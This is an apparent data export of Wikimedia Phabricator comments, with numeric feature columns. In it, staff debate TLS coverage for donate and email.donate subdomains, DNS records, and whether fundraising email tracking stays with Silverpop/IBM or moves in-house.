screens?",,,1434765386,,PHID-USER-pbvnfgskfwsdalhpd7np,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,7.0,14.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,14.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,7.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,4.357142857142857,0.8035714285714286,"SCREEN_NAME, On the Android side, we were planning on no longer displaying the splash screen (T102482), since we're not currently focusing on driving contributions and editors in the app. Would it be acceptable to display a link to the privacy policy on the Login and Create Account screens?"
102827,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"In most of our domains, we have generically templated in hostnames for both `donate.$domain` and `www.donate.$domain`.  The former works fine with TLS, but the latter is an insecure redirect in all cases that I checked.  We should probably remove the www's, as otherwise we'd have to increase our cert count/costs by ~50% to get either `www.donate.$domain` or `*.donate.$domain` for all of our project domains.

Related but probably much more complex, we have this in the wikimedia.org zone:

```
wikimedia.org:bounce.email.donate     1H  IN A    74.121.50.42
wikimedia.org:bounce.email.donate     1H  IN MX   5 bounce.email.donate
wikimedia.org:bounce.email.donate     1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:email.donate            600 IN DYNA geoip!text-addrs-v4/eqiad
wikimedia.org:email.donate            1H  IN MX   10 reply.email.donate
wikimedia.org:email.donate            1H  IN MX   20 mail3880.email.donate
wikimedia.org:email.donate            1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:mail3880.email.donate   1H  IN A    74.121.51.111
wikimedia.org:mail3880.email.donate   1H  IN MX   5 mail3880.email.donate
wikimedia.org:mail3880.email.donate   1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:reply.email.donate      1H  IN A    74.121.50.42
wikimedia.org:reply.email.donate      1H  IN MX   5 reply.email.donate
wikimedia.org:reply.email.donate      1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
wikimedia.org:links.email.donate      1H  IN CNAME recp.mkt41.net.
wikimedia.org:open.email.donate       1H  IN CNAME open.mkt41.net.
wikimedia.org:www.email.donate        1H  IN CNAME wikimedia.org.
```
I'm not sure what to make of all of those.  They mostly seem to be hosted with http://www.silverpop.com/ (via mkt41.net ), but `www.email.donate` is ours and doesn't match TLS certs either.",Medium,50.0,1434555219,1460476695.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_description,resolved,True,c3,2,True,True,False,-3,True,2.5,0.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.0,5.5,0.0,6.5,9.0,0.0,2.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,4.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,12.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,3.0,1.5,8.0,0.0,5.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,9.0,3.5,0.0,0.0,0.0,6.0,1.0,0.5,0.5,0.0,0.0,1.0,0.5,1.0,3.9259259259259256,0.8425925925925926,"In most of our domains, we have generically templated in hostnames for both CODE and CODE.  The former works fine with TLS, but the latter is an insecure redirect in all cases that I checked.  We should probably remove the www's, as otherwise we'd have to increase our cert count/costs by ~50% to get either CODE or CODE for all of our project domains.

Related but probably much more complex, we have this in the wikimedia.org zone:

``CODE`CODEwww.email.donate` is ours and doesn't match TLS certs either."
717515,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223245 abandoned by Faidon Liambotis:
Remove www.email.donate.wikimedia.org from DNS

Reason:
A variant of this has been already applied for a while, see Ie758bd4af13604f6966a6abab3c2e3eff86db167

[[https://gerrit.wikimedia.org/r/223245]]",,,1472144462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,60,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,11.0,17.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,5.5,0.8611111111111112,"Change 223245 abandoned by Faidon Liambotis:
Remove www.email.donate.wikimedia.org from DNS

Reason:
A variant of this has been already applied for a while, see Ie758bd4af13604f6966a6abab3c2e3eff86db167

[[GERRIT_URL]]"
649038,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 284106 merged by BBlack:
Common VCL: remove wikimedia.org subdomain HTTPS redirect exception

[[https://gerrit.wikimedia.org/r/284106]]",,,1461174447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.7272727272727275,0.8636363636363636,"Change 284106 merged by BBlack:
Common VCL: remove wikimedia.org subdomain HTTPS redirect exception

[[GERRIT_URL]]"
647701,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 284106 had a related patch set uploaded (by BBlack):
Common VCL: remove wikimedia.org subdomain HTTPS redirect exception

[[https://gerrit.wikimedia.org/r/284106]]
",,,1461022614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.413793103448276,0.896551724137931,"Change 284106 had a related patch set uploaded (by BBlack):
Common VCL: remove wikimedia.org subdomain HTTPS redirect exception

[[GERRIT_URL]]
"
644261,Decide what to do with *.donate.wikimedia.org subdomain + TLS,They're gone!,,,1460476695,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,They're gone!
640131,Decide what to do with *.donate.wikimedia.org subdomain + TLS,Note this should get resolved via T130414 's https://gerrit.wikimedia.org/r/#/c/278353,,,1459774382,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,Note this should get resolved via T130414 's URL
512044,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I looked into Pimcore, Mautic, and OpenEMM. All documentation I can find on these tools suggests they are meant for very small databases. For example, from OpenEMM's FAQ[1]:

> If you want to work with more than 120,000 addresses in your database, you have to change the property import.maxrows in file emm.properties in directory /home/openemm/webapps/core/WEB-INF/classes accordingly. However, the bigger your database, the more the performance of your OpenEMM installation will suffer.

OpenEMM’s quote does a good job of illustrating why we don’t have an intention to switch email clients: we’re currently using the most robust system there is, partly because very few email systems are designed to handle databases with over 1 million contacts — outside of the many other sophisticated things Silverpop allows us to do. More importantly, in the event the system breaks, who will fix it? The Fundraising tech team has more than enough on their plate, and we can’t afford to lose our email program for 3 months because it’s broken and no one has time to fix it. Silverpop has never gone down for me in 3 cumulative years of use, and they continue to improve it. Our team could not provide me with that same level of consistency and support.

Setting up our own email system would require ~5 new FTEs - a full-time DBA to focus specifically on email database production, a deliverability expert to handle bounce authentication, and more engineering/analytics staff to support the platform. It does not seem justifiable to spend hundreds of thousands of donor dollars to build a tool that already exists and likely functions better than what we could afford to build. 

Our two departments have a time scheduled to discuss third party usage, so I will leave that discussion for the meeting.

[1]https://www.agnitas.de/en/e-marketing_manager/email-marketing-software-variants/openemm/openemm-support/open-emm-faqs/
",,,1440109036,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,7,True,1.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,6.333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.6666666666666666,5.0,14.0,0.0,4.333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,1.0,0.0,5.666666666666667,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,1.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.0,18.333333333333332,0.0,1.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.333333333333333,1.0,7.666666666666667,1.3333333333333333,2.3333333333333335,6.0,0.0,0.0,0.0,0.0,7.333333333333333,0.0,2.0,0.0,7.333333333333333,14.0,2.0,0.3333333333333333,0.0,0.0,7.333333333333333,0.0,1.3333333333333333,2.0,1.0,1.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,4.213083213083213,0.7761286332714904,"I looked into Pimcore, Mautic, and OpenEMM. All documentation I can find on these tools suggests they are meant for very small databases. For example, from OpenEMM's FAQ[1]:

QUOTE

OpenEMM’s quote does a good job of illustrating why we don’t have an intention to switch email clients: we’re currently using the most robust system there is, partly because very few email systems are designed to handle databases with over 1 million contacts — outside of the many other sophisticated things Silverpop allows us to do. More importantly, in the event the system breaks, who will fix it? The Fundraising tech team has more than enough on their plate, and we can’t afford to lose our email program for 3 months because it’s broken and no one has time to fix it. Silverpop has never gone down for me in 3 cumulative years of use, and they continue to improve it. Our team could not provide me with that same level of consistency and support.

Setting up our own email system would require ~5 new FTEs - a full-time DBA to focus specifically on email database production, a deliverability expert to handle bounce authentication, and more engineering/analytics staff to support the platform. It does not seem justifiable to spend hundreds of thousands of donor dollars to build a tool that already exists and likely functions better than what we could afford to build. 

Our two departments have a time scheduled to discuss third party usage, so I will leave that discussion for the meeting.

[1]URL
"
511386,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1555784, @CCogdill_WMF wrote:
> I agree this is not a great solution, and have made that argument in the past. However, changing the domain was the only way we could continue our email program and support https. IBM needs to be able to track the various levels of email behavior data, from bounces to clickthroughs, which is not a capability we have with in-house tools. 

Is there software we could deploy in-house to do this, without sending that private data off to a third party and/or running into all kinds of legitimacy / privacy / TLS issues?  Looking shallowly around in google search results, I stumbled on https://github.com/mautic/mautic and https://github.com/pimcore/pimcore .  There are bound to be others, as these aren't fundamentally difficult problems to solve on a code level.

> If Fundraising doesn't have to make this change right now, I would very much like to change the links back to http through our wikimedia domain, but I don't think that's an option. If there's a solution I don't know of which allows us to send and track email and do it under the wikimedia.org domain without breaking HSTS, let me know!

It is still an option.  Nothing technical about the email.donate situation has been changed recently on ops' end of things.  HSTS includeSub/preload for wikimedia.org is still blocked/broken regardless of this issue, and will be until the whole benefactorevents situation is sorted out at some later date this year (hopefully), so it's not a big change in the status of the situation to roll back to where we were on the issues in this ticket and re-evaluate options.

As for solutions: basically we can either do it similarly to the good parts of the benefactorevents situation (3rd party, but with us sending them certs to use TLS for everything, and no multi-level subdomains, and all of those services HTTPS-only), or we can bring it in-house.  Even a well-configured 3rd party solution could run into [[ https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning | HPKP ]]-related issues with us down the road.  Exactly what our HPKP policies will become is still an unknown at this time, though, so it's not as urgent.

Personally, I think we're better off bringing all of these things in-house.  All of this data related to fundraising emails (the emails themselves, the responses, open/click/link/bounce data, etc) is privacy-sensitive and branding/legitimacy-sensitive.  While I understand FR signs contracts related to privacy with vendors, contracts do not actually prevent breaches, leaks, or misappropriations - they merely allow the assigning of blame after an incident has occurred, assuming we're ever even aware of it.  As a general rule, the entire industry of email marketing (which these 3rd parties are necessarily a part of) is in the business of gathering, selling, and generally dealing loosely with private customer data compared to how we treat it, so it's hard to trust that they're going to take the utmost concern with ours as a special case just because we're a different kind of organization.

On a separate level from these privacy issues, I tend to be opposed to us unnecessarily outsourcing any functionality to commercial 3rd party services because it breaches our commitment to Open Source software as detailed here: https://wikimediafoundation.org/wiki/Resolution:Wikimedia_Foundation_Guiding_Principles#Freedom_and_open_source .  Outsourcing to a commercial entity using closed-source software on our behalf is at least equivalent to, if not worse than, using closed-source software for said functionality internally on our own servers.  It shouldn't become normal for us to to evade the spirit of that Principle through outsourcing.

I also tend to think that, in general, we're such a sufficiently prominent and unique organization on the Internet and in the world that we'll virtually always want more customization and self-determination in our services than a commodity 3rd party can provide.",,,1440035813,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,7,True,0.8571428571428571,0.14285714285714285,0.0,0.7142857142857143,0.8571428571428571,6.142857142857143,1.0,0.2857142857142857,0.14285714285714285,0.14285714285714285,2.4285714285714284,1.2857142857142858,0.0,0.2857142857142857,0.2857142857142857,3.5714285714285716,0.5714285714285714,6.428571428571429,14.0,0.2857142857142857,1.7142857142857142,0.14285714285714285,0.14285714285714285,0.0,0.42857142857142855,0.2857142857142857,0.0,0.14285714285714285,0.7142857142857143,0.42857142857142855,0.14285714285714285,4.285714285714286,0.7142857142857143,1.4285714285714286,0.14285714285714285,0.0,0.0,0.14285714285714285,1.0,0.2857142857142857,0.14285714285714285,0.5714285714285714,0.2857142857142857,2.857142857142857,0.0,0.0,0.14285714285714285,0.0,0.0,15.0,0.42857142857142855,1.7142857142857142,0.0,0.42857142857142855,0.14285714285714285,0.42857142857142855,0.0,0.2857142857142857,0.7142857142857143,0.14285714285714285,0.42857142857142855,0.7142857142857143,0.0,0.5714285714285714,0.0,0.0,0.0,4.714285714285714,2.2857142857142856,5.571428571428571,1.2857142857142858,2.2857142857142856,7.857142857142857,0.0,0.0,0.0,0.0,3.2857142857142856,0.0,0.0,0.0,5.714285714285714,14.0,1.2857142857142858,0.14285714285714285,0.14285714285714285,0.0,5.571428571428571,0.0,0.5714285714285714,2.142857142857143,0.8571428571428571,2.0,0.5714285714285714,0.14285714285714285,0.42857142857142855,4.144900043776448,0.7726360717933752,"QUOTE
QUOTE

Is there software we could deploy in-house to do this, without sending that private data off to a third party and/or running into all kinds of legitimacy / privacy / TLS issues?  Looking shallowly around in google search results, I stumbled on URL and URL .  There are bound to be others, as these aren't fundamentally difficult problems to solve on a code level.

QUOTE

It is still an option.  Nothing technical about the email.donate situation has been changed recently on ops' end of things.  HSTS includeSub/preload for wikimedia.org is still blocked/broken regardless of this issue, and will be until the whole benefactorevents situation is sorted out at some later date this year (hopefully), so it's not a big change in the status of the situation to roll back to where we were on the issues in this ticket and re-evaluate options.

As for solutions: basically we can either do it similarly to the good parts of the benefactorevents situation (3rd party, but with us sending them certs to use TLS for everything, and no multi-level subdomains, and all of those services HTTPS-only), or we can bring it in-house.  Even a well-configured 3rd party solution could run into [[ URL | HPKP ]]-related issues with us down the road.  Exactly what our HPKP policies will become is still an unknown at this time, though, so it's not as urgent.

Personally, I think we're better off bringing all of these things in-house.  All of this data related to fundraising emails (the emails themselves, the responses, open/click/link/bounce data, etc) is privacy-sensitive and branding/legitimacy-sensitive.  While I understand FR signs contracts related to privacy with vendors, contracts do not actually prevent breaches, leaks, or misappropriations - they merely allow the assigning of blame after an incident has occurred, assuming we're ever even aware of it.  As a general rule, the entire industry of email marketing (which these 3rd parties are necessarily a part of) is in the business of gathering, selling, and generally dealing loosely with private customer data compared to how we treat it, so it's hard to trust that they're going to take the utmost concern with ours as a special case just because we're a different kind of organization.

On a separate level from these privacy issues, I tend to be opposed to us unnecessarily outsourcing any functionality to commercial 3rd party services because it breaches our commitment to Open Source software as detailed here: URL .  Outsourcing to a commercial entity using closed-source software on our behalf is at least equivalent to, if not worse than, using closed-source software for said functionality internally on our own servers.  It shouldn't become normal for us to to evade the spirit of that Principle through outsourcing.

I also tend to think that, in general, we're such a sufficiently prominent and unique organization on the Internet and in the world that we'll virtually always want more customization and self-determination in our services than a commodity 3rd party can provide."
511339,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I agree this is not a great solution, and have made that argument in the past. However, changing the domain was the only way we could continue our email program and support https. IBM needs to be able to track the various levels of email behavior data, from bounces to clickthroughs, which is not a capability we have with in-house tools. 

If Fundraising doesn't have to make this change right now, I would very much like to change the links back to http through our wikimedia domain, but I don't think that's an option. If there's a solution I don't know of which allows us to send and track email and do it under the wikimedia.org domain without breaking HSTS, let me know!

Thanks for pointing me to the comment on Wikipedia. I've followed up there, and Fundraising will continue to collect our own data on user response to this change.",,,1440031789,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,7,True,0.5,0.0,0.5,0.0,2.5,2.5,2.0,0.0,0.0,1.0,1.5,2.0,0.0,0.5,0.5,7.0,0.5,6.5,13.5,0.0,3.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.5,1.0,0.0,7.0,1.5,0.5,1.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,15.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.5,1.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,7.5,1.0,3.5,9.5,0.0,0.0,0.5,0.0,8.5,0.0,0.0,0.0,7.5,13.5,1.5,0.0,0.0,0.0,7.5,0.0,1.0,2.0,1.5,1.5,0.0,0.0,0.5,3.9261363636363638,0.7215909090909092,"I agree this is not a great solution, and have made that argument in the past. However, changing the domain was the only way we could continue our email program and support https. IBM needs to be able to track the various levels of email behavior data, from bounces to clickthroughs, which is not a capability we have with in-house tools. 

If Fundraising doesn't have to make this change right now, I would very much like to change the links back to http through our wikimedia domain, but I don't think that's an option. If there's a solution I don't know of which allows us to send and track email and do it under the wikimedia.org domain without breaking HSTS, let me know!

Thanks for pointing me to the comment on Wikipedia. I've followed up there, and Fundraising will continue to collect our own data on user response to this change."
511298,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"links.wikimedia.mtk4988.com is a really bad solution. As already pointed by BBlack, it looks like a phishing attempt (and for a donation campaign, none the less!). Why can't directly point to WMF servers? (it can keep those silverpop ids and provide them to IBM if that's really needed -which is probably arguable-)

See also https://pt.wikipedia.org/wiki/Wikip%C3%A9dia:Pedidos/Outros#Den.C3.BAncia_de_scam.2Fphishing and today's #wikimedia log (starting at 2015-08-19 22:40 UTC), for a real case of user reporting it to us as phishing against our brand.

",,,1440027803,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,2.0,0.0,6.0,10.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.0,1.5,6.0,1.5,2.0,4.5,0.0,0.0,0.5,1.0,2.5,0.0,4.0,0.0,4.5,10.5,3.5,0.5,0.0,0.0,4.5,0.0,0.5,2.5,1.5,3.0,0.5,0.0,0.0,3.843137254901961,0.8823529411764706,"links.wikimedia.mtk4988.com is a really bad solution. As already pointed by BBlack, it looks like a phishing attempt (and for a donation campaign, none the less!). Why can't directly point to WMF servers? (it can keep those silverpop ids and provide them to IBM if that's really needed -which is probably arguable-)

See also URL and today's #wikimedia log (starting at 2015-08-19 22:40 UTC), for a real case of user reporting it to us as phishing against our brand.

"
511293,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"links.wikimedia.mtk4988.com is a really bad solution. As already pointed by BBlack, it looks like a phishing attempt (and for a donation campaign, none the less!). Why can't directly point to WMF servers? (it can keep those silverpop ids and provide them to IBM if that's really needed -which is probably arguable-)

See also https://pt.wikipedia.org/wiki/Wikip%C3%A9dia:Pedidos/Outros#Den.C3.BAncia_de_scam.2Fphishing and today #wikimedia log, for a real case of user reporting it to us as phishing against our brand.

",,,1440027449,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,10.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,8.0,2.0,3.0,8.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,7.0,13.0,4.0,1.0,0.0,0.0,7.0,0.0,1.0,4.0,2.0,2.0,1.0,0.0,0.0,4.0,0.7777777777777778,"links.wikimedia.mtk4988.com is a really bad solution. As already pointed by BBlack, it looks like a phishing attempt (and for a donation campaign, none the less!). Why can't directly point to WMF servers? (it can keep those silverpop ids and provide them to IBM if that's really needed -which is probably arguable-)

See also URL and today #wikimedia log, for a real case of user reporting it to us as phishing against our brand.

"
508503,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"After talking about this more with our email consultants, I don't think we have any other option but to change all the Silverpop subdomains for bounce, open, and click tracking to the mtk4988 domain. The good news is they'll give us a double-nested sub-domain like the one now being used for click tracking (links.wikimedia.mtk4988.com), so there is some customization.

We're going to put in the request with Silverpop to change the other domains on their side today. There is an expected impact to deliverability here, but we can't estimate how much until the change happens. If the effect is drastic, I will update here.",,,1439575727,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,6,True,2.5,0.0,0.0,0.5,1.5,6.0,1.0,0.0,0.0,1.0,1.0,2.5,0.0,0.0,1.5,4.5,0.0,4.5,10.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,5.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.5,2.0,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,6.5,3.5,6.0,1.5,2.5,9.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.5,10.5,2.0,0.0,0.0,0.0,5.5,0.0,1.0,1.5,0.5,2.0,0.5,0.0,0.0,4.134920634920634,0.8095238095238095,"After talking about this more with our email consultants, I don't think we have any other option but to change all the Silverpop subdomains for bounce, open, and click tracking to the mtk4988 domain. The good news is they'll give us a double-nested sub-domain like the one now being used for click tracking (links.wikimedia.mtk4988.com), so there is some customization.

We're going to put in the request with Silverpop to change the other domains on their side today. There is an expected impact to deliverability here, but we can't estimate how much until the change happens. If the effect is drastic, I will update here."
505569,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"IBM tells us it's not possible to have a customized domain with an active ssl cert in place; they aren't able provide that for each client, apparently. That's why we pushed back on this task initially, but it seemed like we would have to change one way or another. I agree this doesn't look good from a branding perspective, and we were optimistically hoping there would be a tradeoff in offering an https-only experience to those of our donors that care.

We only do link tracking on the email.donate subdomain, so that's the one we changed. We should be able to change all the others to the mkt4988.com domain, but it will definitely impact deliverability. I'm not sure we have any alternative.



",,,1439246167,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.5,6.5,0.0,6.5,9.5,0.0,1.5,0.5,0.5,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.5,0.5,1.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,9.5,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,5.5,2.5,3.5,1.5,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,9.0,9.5,1.0,0.0,0.0,0.0,9.0,0.0,1.0,3.0,0.5,2.5,0.0,0.0,0.0,4.027777777777778,0.8194444444444444,"IBM tells us it's not possible to have a customized domain with an active ssl cert in place; they aren't able provide that for each client, apparently. That's why we pushed back on this task initially, but it seemed like we would have to change one way or another. I agree this doesn't look good from a branding perspective, and we were optimistically hoping there would be a tradeoff in offering an https-only experience to those of our donors that care.

We only do link tracking on the email.donate subdomain, so that's the one we changed. We should be able to change all the others to the mkt4988.com domain, but it will definitely impact deliverability. I'm not sure we have any alternative.



"
